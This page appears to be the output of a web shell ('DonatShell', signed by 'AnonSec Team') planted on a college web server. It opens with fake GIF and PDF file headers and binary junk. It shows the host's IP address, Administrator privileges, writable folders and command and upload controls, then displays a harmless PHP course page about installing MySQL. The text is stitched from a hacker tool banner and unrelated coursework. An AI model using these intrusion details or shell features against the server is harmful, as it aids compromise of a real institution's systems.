GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Labs/Lab10/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Labs/Lab10/Lab10.phpinc
<?
// JimMartinson/CST1146/Labs/Labnn/Labnn.phpinc

#if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true;
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; }
include('common/Browser/Browser.phpinc');

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

// NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs.
// OR: Fix labs so Lab 4 mod_autoindex works as it should.
?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to demonstrate the installation of MySQL server and a database.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend>
<ol class="count">
	<!-- 1 -->
	<li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li>
	<!-- 2 -->
	<li>Install MySQL Community Server and MySQL Workbench.
		<br>
		<span id="spn_lin_3" class="hidden info">Instructions for <b>Linux</b> OS:</span>
		<span id="spn_mac_3" class="hidden info">Instructions for <b>Mac</b> OS:</span>
		<span id="spn_win_3" class="info">Instructions for <b>Windows</b> OS:</span>
		<input id="inp_lin_3" type="button" onClick="return SwapWinMacLinux('lin',[3,4]);" value="Switch to Linux instructions">
		<input id="inp_mac_3" type="button" onClick="return SwapWinMacLinux('mac',[3,4]);" value="Switch to Mac instructions">
		<input id="inp_win_3" type="button" onClick="return SwapWinMacLinux('win',[3,4]);" value="Switch to Windows instructions" class="hidden">
		<? /** / BEGIN WINDOWS INSTRUCTIONS /**/ ?>
		<ol id="ol_win_3">
			<li>
				Download and install <b>MySQL Community Server and MySQL Workbench</b> for Windows <a href="../../Resources/Install/mysql-installer-community-8.0.19.0.msi">mysql-installer-community-8.0.19.0.msi</a>).
				<br>Use the recording from <a href="https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636398009000" target="_blank">Monday, 11/08</a> to view an install.
			</li>
			<li>
				Download <a href="../../../Setup/WebServices/WebServices.cmd">WebServices.cmd</a>, create a shortcut and set it to run as administrator.
			</li>
			<li>
				Run WebServices and ensure MySQL Server is running.
				<br>Take a screenshot of the WebServices window and save it as <b class="copyText"><?=$saveFilename?>_WebServices.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See Webservices example screenshot'); ?><br>
				<img src="Webservices.png" width="682" height="340" alt="Webservices example screenshot"/><br>
				<? showEnd (); ?>
				<br>Note that all screenshots for this class must be saved in <a href="http://www.libpng.org/pub/png/">Portable Network Graphics</a> (.png) format.
				<br>Screenshots must also be limited to what was requested. Do not submit entire screens as screenshots unless requested.
			</li>
		</ol>
		<? /** / END WINDOWS INSTRUCTIONS /**/ ?>
		<? /** / BEGIN MAC INSTRUCTIONS /**/ ?>
		<ol id="ol_mac_3" class="hidden">
			<li>
				Download and install <b>MySQL Community Server and MySQL Workbench</b> for <span class="info">Mac</span> (<a href="../../Resources/Install/mysql-8.0.19-macos10.15-x86_64.dmg">mysql-8.0.19-macos10.15-x86_64.dmg</a>).
				<br>Use the recording from <a href="https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636398009000" target="_blank">Monday, 11/08</a> to view a <span class="info">Windows</span> install.
			</li>
			<li>Run MySQL Workbench and open your localhost connection and select <b>Startup / Shutdown</b> from the left menu.
				<br><span class="note">macos10.15 can use the Workbench Startup/Shutdown controls.</span>
			</li>
			<li>If the server is stopped, click the <b>Start Server</b> button to start it.
				<br>Ensure the server status is in the MySQL Workbench window.
				<br>Take a screenshot of the MySQL Workbench window and save it as <b class="copyText"><?=$saveFilename?>_Running.png</b> in your <b><?=$evaluationName?></b> folder.
					<? showBegin('See MySQL running example screenshot'); ?><br>
					<img src="Started.png" width="1000" height="507" alt="MySQL running example screenshot"/><br>
					<? showEnd (); ?>
			</li>
			<li>If the server is running, click the <b>Stop Server</b> button to stop it.
				<br>Ensure the server status is in the MySQL Workbench window.
				<br>Take a screenshot of the MySQL Workbench window and save it as <b class="copyText"><?=$saveFilename?>_Stopped.png</b> in your <b><?=$evaluationName?></b> folder.
					<? showBegin('See MySQL stopped example screenshot'); ?><br>
					<img src="Stopped.png" width="1000" height="507" alt="MySQL stopped example screenshot"/><br>
					<? showEnd (); ?>
					<br>Note that all screenshots for this class must be saved in <a href="http://www.libpng.org/pub/png/">Portable Network Graphics</a> (.png) format.
					<br>Screenshots must also be limited to what was requested. Do not submit entire screens as screenshots unless requested.
			</li>
		</ol>
		<? /** / END MAC INSTRUCTIONS /**/ ?>
		<? /** / BEGIN Linux INSTRUCTIONS /**/ ?>
		<ol id="ol_lin_3" class="hidden">
			<li>
				Download and install <b>MySQL Community Server and MySQL Workbench</b> for your version of <span class="info">Linux</span> from the <a href="https://dev.mysql.com/downloads/mysql/" target="_blank">MySQL Ccmmunity Downloads</a> page.
				<br>Use the recording from <a href="https://minnstate.zoom.us/rec/share/fjQnHH6w30kgiz3hvQCltUDpK9rS0ltqL-Zrvj7OU1b1hDPZPZ8MxhQB-xBvv6mK.T2s82S4r2zmdpGpj?startTime=1636398009000" target="_blank">Monday, 11/08</a> to view a <span class="info">Windows</span> install.
			</li>
			<li>Run MySQL Workbench and open your localhost connection and select <b>Startup / Shutdown</b> from the left menu.</li>
			<li>If the server is stopped, click the <b>Start Server</b> button to start it.
				<br>Ensure the server status is in the MySQL Workbench window.
				<br>Take a screenshot of the MySQL Workbench window and save it as <b class="copyText"><?=$saveFilename?>_Running.png</b> in your <b><?=$evaluationName?></b> folder.
					<? showBegin('See MySQL running example screenshot'); ?><br>
					<img src="Started.png" width="1000" height="507" alt="MySQL running example screenshot"/><br>
					<? showEnd (); ?>
			</li>
			<li>If the server is running, click the <b>Stop Server</b> button to stop it.
				<br>Ensure the server status is in the MySQL Workbench window.
				<br>Take a screenshot of the MySQL Workbench window and save it as <b class="copyText"><?=$saveFilename?>_Stopped.png</b> in your <b><?=$evaluationName?></b> folder.
					<? showBegin('See MySQL stopped example screenshot'); ?><br>
					<img src="Stopped.png" width="1000" height="507" alt="MySQL stopped example screenshot"/><br>
					<? showEnd (); ?>
					<br>Note that all screenshots for this class must be saved in <a href="http://www.libpng.org/pub/png/">Portable Network Graphics</a> (.png) format.
					<br>Screenshots must also be limited to what was requested. Do not submit entire screens as screenshots unless requested.
			</li>
		</ol>
		<? /** / END Linux INSTRUCTIONS /**/ ?>
	</li>
	<!-- 3 -->
	<li>
		Run MySQL Workbench, open your localhost connection and select <b>Server Status</b> from the left menu.
    <br>Take a screenshot of MySQL Workbench and save it as <b class="copyText"><?=$saveFilename?>_Workbench.png</b> in your <b><?=$evaluationName?></b> folder.
		<? showBegin('See Workbench example screenshot'); ?><br>
		<img src="Workbench.png" width="1000" height="522" alt="Workbench server status example screenshot"/><br>
		<? showEnd (); ?>
	</li>
	<!-- 4 -->
	<li>Setup the classicmodels database:
		<ol>
		<li>
			Download the <a href="../../Resources/mysqlsampledatabase.sql">classicmodels sql file (mysqlsampledatabase.sql)</a>.
			<br><span class="note">Right-click and <b>Save link as</b> or <b>Save target as</b>.</span>
		</li>
		<li>
			Run MySQL Workbench and use the <a href="../../Resources/mysqlsampledatabase.sql">mysqlsampledatabase.sql</a> file to create the classicmodels database.
		</li>
		<li>Show that the classicmodels database has been created.
			<ol>
				<li>Refresh <img src="refresh.png"> the schema list.</li>
				<li>Expand the classicmodels database.</li>
				<li>Expand the classicmodels tables.</li>
				<li>Take a screenshot of the MySQL Workbench window showing the classicmodels database and save it as <b class="copyText"><?=$saveFilename?>_Database.png</b> in your <b><?=$evaluationName?></b> folder.
					<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
					<img src="Workbench-Lab02.png" width="1000" height="563" alt="Workbench and classicmodels database example screenshot"/><br>
					<? showEnd (); ?>
				</li>
			</ol>
		</li>
		</ol>
		<span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span>
	</li>
	<!-- 5 -->
	<!-- 6 -->
	<!-- 7 -->
	<!-- 8 -->
	<!-- 9 -->
	<!-- 10 -->
	<li>Turn in your assignment:
		<ol>
			<li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<br>
				<div id="div_win_3">
<? /** / BEGIN WINDOWS INSTRUCTIONS /**/ ?>
<?
$fileListWin = array(
	$saveFilename.'_WebServices.png',
	$saveFilename.'_Workbench.png',
	$saveFilename.'_Database.png',
);
	natcasesort($fileListWin);
						foreach ($fileListWin as $fileName) {
?>
				<?=$fileName?><br>
<?
						}
?>
				</div>
<? /** / END WINDOWS INSTRUCTIONS /**/ ?>
<? /** / BEGIN MAC INSTRUCTIONS /**/ ?>
				<div id="div_mac_3" class="hidden">
<?
$fileListMac = array(
	$saveFilename.'_Running.png',
	$saveFilename.'_Stopped.png',
	$saveFilename.'_Workbench.png',
	$saveFilename.'_Database.png',
);
	natcasesort($fileListMac);
						foreach ($fileListMac as $fileName) {
?>
				<?=$fileName?><br>
<?
						}
?>
				</div>
<? /** / END MAC INSTRUCTIONS /**/ ?>
<? /** / BEGIN LINUX INSTRUCTIONS /**/ ?>
				<div id="div_lin_3" class="hidden">
<?
$fileListLin = array(
	$saveFilename.'_Running.png',
	$saveFilename.'_Stopped.png',
	$saveFilename.'_Workbench.png',
	$saveFilename.'_Database.png',
);
	natcasesort($fileListLin);
						foreach ($fileListLin as $fileName) {
?>
				<?=$fileName?><br>
<?
						}
?>
				</div>
<? /** / END LINUX INSTRUCTIONS /**/ ?>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<script>
	// SwapWinMacLinux(ShowOS,IdNumber)
	// Swap between Windows, Mac, and Linux instructions. Will show ol and hide spn and inp elements for the ShowOS.
	//   ShowOS = the OS to show instructions for.
	// IdNumber = the IdNumber of the instruction.
	function SwapWinMacLinux(ShowOS,IdNumbers) {
		console.warn('SwapWinMacLinux[ShowOS='+ShowOS+',IdNumbers='+IdNumbers+']');
		console.log('IdNumbers='+IdNumbers+' typeof IdNumbers='+(typeof IdNumbers));
		if ( typeof IdNumbers == 'number' ) { IdNumbers = [IdNumbers] ; } // Convert single IdNumbers to array.
		var e;
		var Element;
		var ElementHides = ['inp']; // Hide these elements for ShowOS and show them for other OSes.
		var ElementId;
		var ElementShows = ['div','spn','ol']; // Show these elements for ShowOS and hide them for other OSes.
		var ElementType;
		var h;
		var i;
		var IdNumber;
		var OtherOS;
		var OtherOSes;
		switch ( ShowOS ) {
			case 'lin':
				OtherOSes = ['mac','win'];
			break;
			case 'mac':
				OtherOSes = ['lin','win'];
			break;
			case 'win':
				OtherOSes = ['lin','mac'];
			break;
		}
		console.log('OtherOSes='+OtherOSes);
		for ( i=0; i<IdNumbers.length; i++ ) { // Loop thru IdNumbers.
			IdNumber = IdNumbers[i];
			// Hide ShowOS button.
			console.warn('Hide ShowOS button.');
			for ( e=0; e<ElementHides.length; e++ ) {
				ElementType = ElementHides[e];
				ElementId = ElementType+'_'+ShowOS+'_'+IdNumber;
				console.log('Hide '+ElementId+'.');
				Element = document.getElementById(ElementId);
				if ( Element ) { // Does the ElementId element exist?
					Element.style.display = 'none';
				} // Does the ElementId element exist?
			}
			// Show other OS buttons.
			console.warn('Show other OS buttons.');
			for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes.
				OtherOS = OtherOSes[h];
				for ( e=0; e<ElementHides.length; e++ ) {
					ElementType = ElementHides[e];
					ElementId = ElementType+'_'+OtherOS+'_'+IdNumber;
					console.log('Show '+ElementId+'.');
					Element = document.getElementById(ElementId);
					if ( Element ) { // Does the ElementId element exist?
						StyleDisplay = DisplayStyle(ElementType,Element);
						Element.style.display = StyleDisplay;
						console.log(ElementId+'.style.display='+StyleDisplay);
					} // Does the ElementId element exist?
				}
			} // Loop thru OtherOSes.
			// Hide other OS span and instructions.
			console.warn('Hide other OS span and instructions.');
			for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes.
				OtherOS = OtherOSes[h];
				for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows.
					ElementType = ElementShows[e];
					ElementId = ElementType+'_'+OtherOS+'_'+IdNumber;
					Element = document.getElementById(ElementId);
					console.log('Hide '+ElementId+'.');
					if ( Element ) { // Does the ElementId element exist?
						Element.style.display = 'none';
					} // Does the ElementId element exist?
				} // Loop thru ElementShows.
			} // Loop thru OtherOSes.
			// Show ShowOS span and instructions.
			console.warn('Show ShowOS span and instructions.');
			for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows.
				ElementType = ElementShows[e];
				ElementId = ElementType+'_'+ShowOS+'_'+IdNumber;
				console.log('Show '+ElementId+'.');
				Element = document.getElementById(ElementId);
				if ( Element ) { // Does the ElementId element exist?
					StyleDisplay = DisplayStyle(ElementType,Element);
					Element.style.display = StyleDisplay;
					console.log(ElementId+'.style.display='+StyleDisplay);
				} // Does the ElementId element exist?
			} // Loop thru ElementShows.
		} // Loop thru IdNumbers.
		return false;
	} // END SwapWinMacLinux.
	
	// DisplayStyle(element)
	function DisplayStyle(Type,Element) {
		//console.warn('DisplayStyle[Type='+Type+',Element='+Element.id+']');
		var StyleDisplay = Element.style.display;
		//console.log('StyleDisplay='+StyleDisplay);
		if ( StyleDisplay === '' || StyleDisplay === 'none' ) { // Is the StyleDisplay empty?
			var StyleDisplays = { inp:'inline', ol:'block', spn:'inline' };
			switch ( Type ) { // Switch Type.
				case 'inp':
				case 'ol':
				case 'spn':
					StyleDisplay = StyleDisplays[Type];
				break;
				default:
					StyleDisplay = 'inline';
			} // Switch Prefix.
			//console.log('StyleDisplay='+StyleDisplay);
		}
		return StyleDisplay;
	}
</script>
<?
require('../LabNotes.phpinc');
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
?>

Anon7 - 2022
AnonSec Team